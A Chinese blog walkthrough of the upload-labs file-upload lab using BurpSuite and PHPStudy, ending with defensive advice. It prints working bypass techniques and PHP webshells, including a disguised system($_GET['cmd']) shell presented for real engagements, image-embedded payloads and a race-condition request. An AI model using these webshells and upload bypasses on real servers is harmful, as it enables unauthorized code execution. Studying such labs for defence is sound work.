当前位置: 首页 > news >正文

从靶场到实战:用BurpSuite和PHPStudy复现upload-labs 19关的完整心路历程

从靶场到实战:用BurpSuite和PHPStudy复现upload-labs 19关的完整心路历程

第一次接触upload-labs靶场时,我完全是个安全小白。看着那些看似简单的文件上传界面,却隐藏着各种精妙设计的防御机制,每一步操作都像在解谜。本文将分享我如何从零开始搭建环境、使用工具,最终通关全部19关的完整过程,希望能给同样刚入门的你一些启发。

1. 环境搭建与工具准备

1.1 PHPStudy的安装与配置

作为Windows用户,我选择了PHPStudy作为本地服务器环境。安装过程看似简单,但有几个关键点需要注意:

  • 版本选择:upload-labs需要PHP 5.2-5.4版本才能完整复现所有漏洞(特别是%00截断相关漏洞)。我最终选择了PHPStudy 2016版,内置PHP 5.4.45。
  • 必要组件:在PHP设置中需要确保以下扩展已启用:
    extension=php_exif.dll extension=php_gd2.dll

安装完成后,将upload-labs项目放入WWW目录,访问时却遇到了第一个坑——部分关卡无法正常显示上传结果。通过查看Apache错误日志发现需要修改httpd.conf:

# 原始配置 #AddType application/x-httpd-php .php .phtml # 修改后配置 AddType application/x-httpd-php .php .phtml .php5 .php3

1.2 BurpSuite的基础配置

BurpSuite是本次实战的核心工具,配置不当会导致抓包失败。我的配置步骤如下:

  1. 浏览器代理设置:Firefox需手动配置代理为127.0.0.1:8080
  2. CA证书安装:访问http://burp下载证书,导入到浏览器受信任的根证书颁发机构
  3. 关键功能熟悉
    • Proxy模块用于拦截和修改请求
    • Repeater用于重复测试特定请求
    • Intruder用于自动化爆破测试

注意:Windows Defender可能会拦截Burp的某些操作,测试时需要临时关闭实时保护。

2. 通关实战:从基础绕过到高级利用

2.1 前端验证的三种破解方式(Pass-01)

第一关看似简单,却教会了我重要的思维方式——不要相信客户端验证。通过查看网页源码发现前端JS验证:

function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (!file || file.length == 0) { alert("请选择要上传的文件!"); return false; } // 验证后缀名 if (file.lastIndexOf(".jpg") == -1 && file.lastIndexOf(".png") == -1) { alert("只允许上传jpg/png文件!"); return false; } }

我尝试了三种绕过方法:

  1. 禁用浏览器JS:在Firefox中按F12 → 调试器 → 设置 → 禁用JavaScript
  2. 本地重构表单
    • 保存网页为HTML文件
    • 删除验证函数
    • 添加form的action属性:action="http://localhost/upload-labs/Pass-01/index.php"
  3. Burp拦截修改
    • 上传合法jpg文件
    • 拦截请求修改filename为shell.php
    • 修改Content-Type为image/jpeg

2.2 黑名单绕过的进阶技巧(Pass-03~Pass-10)

从第三关开始,靶场采用服务端黑名单验证。通过源码审计发现关键代码:

$deny_ext = array('.asp','.aspx','.php','.jsp'); $file_ext = strtolower($file_ext); // 转换小写 $file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除::$DATA $file_ext = trim($file_ext); // 收尾去空

我系统性地尝试了多种绕过技术:

关卡绕过方式修改示例原理说明
Pass-03非常规后缀shell.php5Apache配置解析漏洞
Pass-05大小写混合shell.PhPWindows系统大小写不敏感
Pass-06空格截断shell.php[空格]Windows自动去除末尾空格
Pass-07点号截断shell.php.特殊字符处理缺陷
Pass-08NTFS特性shell.php::$DATAWindows文件流特性
Pass-10双写绕过shell.pphphp替换逻辑缺陷

其中Pass-04的.htaccess利用最具教学意义。我创建了包含以下内容的文件:

AddType application/x-httpd-php .png

先上传此文件,再上传包含PHP代码的png文件,即可实现任意代码执行。

2.3 白名单与条件竞争(Pass-11~Pass-18)

当遇到白名单验证时,常规绕过方法失效。Pass-11展示了经典的%00截断技术:

  1. 上传合法jpg文件
  2. Burp拦截修改POST参数:
    save_path=../upload/shell.php%00
  3. 需要满足环境条件:
    • PHP版本<5.3.4
    • magic_quotes_gpc=Off

Pass-17则引入了条件竞争漏洞。我使用Burp Intruder进行自动化攻击:

  1. 配置攻击类型为"Pitchfork"
  2. 设置两个payload:
    • Payload 1:上传请求(持续发送)
    • Payload 2:访问请求(持续发送)
  3. 线程数设置为30,开始攻击
POST /upload-labs/Pass-17/index.php HTTP/1.1 Host: localhost Content-Length: 462 [...] -----------------------------223722916926728 Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: application/octet-stream <?php phpinfo();?>

3. 高级利用:二次渲染与自定义解析

3.1 图片马的制作与检测绕过(Pass-13~Pass-15)

当靶场检测文件内容时,需要制作能绕过检测的图片马。我总结了三种制作方法:

  1. 十六进制编辑法
    # 使用dd命令合并文件 dd if=original.jpg of=webshell.jpg bs=1 conv=notrunc echo '<?php eval($_POST["cmd"]);?>' >> webshell.jpg
  2. Windows命令法
    copy /b test.jpg + shell.php webshell.jpg
  3. 专业工具法
    • 使用GIMP等工具在图片元数据中插入代码
    • 使用exiftool修改EXIF信息

针对不同检测函数需要不同处理:

检测函数绕过方法文件头特征
getimagesize()添加合法文件头GIF89a
exif_imagetype()确保前2字节正确FF D8 (JPEG)
mime_content_type()修改Content-Typeimage/jpeg

3.2 二次渲染的对抗技巧(Pass-16)

这关让我真正理解了图像处理函数的危险性。通过Beyond Compare对比原始图片和渲染后图片:

  1. 上传正常jpg和包含代码的jpg
  2. 下载服务器端渲染后的文件
  3. 使用对比工具找出未被修改的部分
  4. 在保留区域插入PHP代码

我发现在JPEG的注释段(FF FE)和APPn标记段插入代码最有可能保留。最终使用的payload格式:

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 FF FE 00 13 3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

4. 实战思维:从靶场到真实场景

4.1 漏洞原理的深度理解

通过这19关的实战,我总结出文件上传漏洞的三大核心防御缺陷:

  1. 验证不彻底

    • 只验证Content-Type
    • 只检查文件头
    • 不检查文件实际内容
  2. 解析不一致

    • Web服务器与系统解析差异
    • 中间件配置错误
    • 文件命名处理缺陷
  3. 逻辑缺陷

    • 条件竞争
    • 删除操作延迟
    • 权限控制缺失

4.2 真实环境中的注意事项

靶场环境与真实渗透测试有很大区别,需要特别注意:

  • 法律合规:确保获得书面授权后再进行测试
  • 环境差异:真实系统可能有WAF、杀毒软件等防护
  • 隐蔽性要求:避免使用明显特征(如phpinfo())
  • 权限控制:上传后可能需要结合其他漏洞提权

在真实项目中,我通常会采用更隐蔽的测试方法:

<?php // 更隐蔽的webshell if(isset($_GET['cmd'])){ header('Content-Type: text/plain'); system($_GET['cmd']); die(); } // 伪装成正常文件 echo 'This is a test image file.'; ?>

4.3 防御方案的多层设计

从防御者角度,我总结了有效的防护策略:

  1. 前端防护

    • 文件类型白名单验证
    • 文件重命名(MD5+后缀)
  2. 服务端防护

    $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); $allowed = ['image/jpeg', 'image/png']; if(!in_array($mime, $allowed)){ die('Invalid file type'); }
  3. 系统层防护

    • 上传目录禁用脚本执行
    • 设置open_basedir限制
    • 定期安全扫描

整个通关过程让我深刻体会到,安全研究不仅是工具的使用,更是对系统运作原理的深入理解。每解决一个关卡,都需要思考防御者的设计意图和攻击者的突破路径。这种对抗性思维,才是安全工程师最核心的能力。

http://www.jsqmd.com/news/731671/

相关文章:

  • 使用 Taotoken 后 API 调用延迟与稳定性带来的直观体验变化
  • B站m4s视频转换终极教程:3步实现永久保存的完整方案
  • 如何修复华硕电脑WIFI消失,连接不了网络问题
  • 3步掌握抖音视频下载:开源工具助你高效批量下载无水印内容
  • 【全网首发】2026年华东杯数学建模ABC题全量深度解析与冲奖攻略——2026华东杯数学建模(附全代码/论文/数据集)-详细解题思路和论文+完整项目代码+结果图表+全套资源(多套持续更新)
  • 构建智能音乐中心:Xiaomusic如何让小爱音箱突破传统限制
  • 黄山AI获客多引擎自适应算法的GEO优化实现原理拆解
  • 保姆级教程:给Windows上的AnyTXT Searcher穿个‘公网马甲’,打造私人远程文件搜索引擎
  • 制糖设备巡检运维工单管理系统方案
  • CVE-2026-34070 LangChain-Core路径遍历漏洞,任意文件读取附PoC
  • 擦擦视频行业价值与发展趋势
  • Onyx开源应用框架:一体化全栈开发实践与核心设计解析
  • 【新人必备手册】OpenClaw Windows 11 一键安装实操教程(含安装包)
  • 对比官方价格Taotoken提供的折扣与活动价如何节省成本
  • 终极免费方案:用WeReader浏览器扩展打造你的微信读书笔记系统
  • 别再手动加TXT记录了!用Certbot+DNS插件(阿里云/DNSPod)自动搞定泛域名SSL证书续期
  • 面试高频:Java 项目接入大模型,应该怎么设计统一 AI 网关,这次把关键边界和落地取舍讲透
  • AWDP攻防赛新手避坑指南:从防御异常到稳定拿分的5个实战技巧
  • C++高精度加减乘除算法详解
  • 实测Taotoken多模型在视频创意生成任务中的响应速度与稳定性
  • AutoSubs:打破字幕制作壁垒,让每个创作者都能轻松生成专业级字幕
  • 为AI Agent集成谷歌搜索API:Serper.dev实战指南与性能优化
  • WPR机器人仿真工具:从零开始的ROS开发实战指南
  • 告别混乱!用Python+OpenCV精准锁定USB摄像头,多摄像头切换再也不怕索引错乱
  • Windows HEIC缩略图:从技术痛点破解到系统级扩展
  • Siemens 6SC6100-0GA12电源板
  • ARM SVE2指令集:SQDMLSLT与SQDMULH深度解析
  • 新手入门taotoken从获取apikey到完成第一个python调用示例
  • 深入解析RePKG:Wallpaper Engine资源格式逆向工程与高效处理方案
  • 终极指南:8大网盘直链下载助手LinkSwift完全使用教程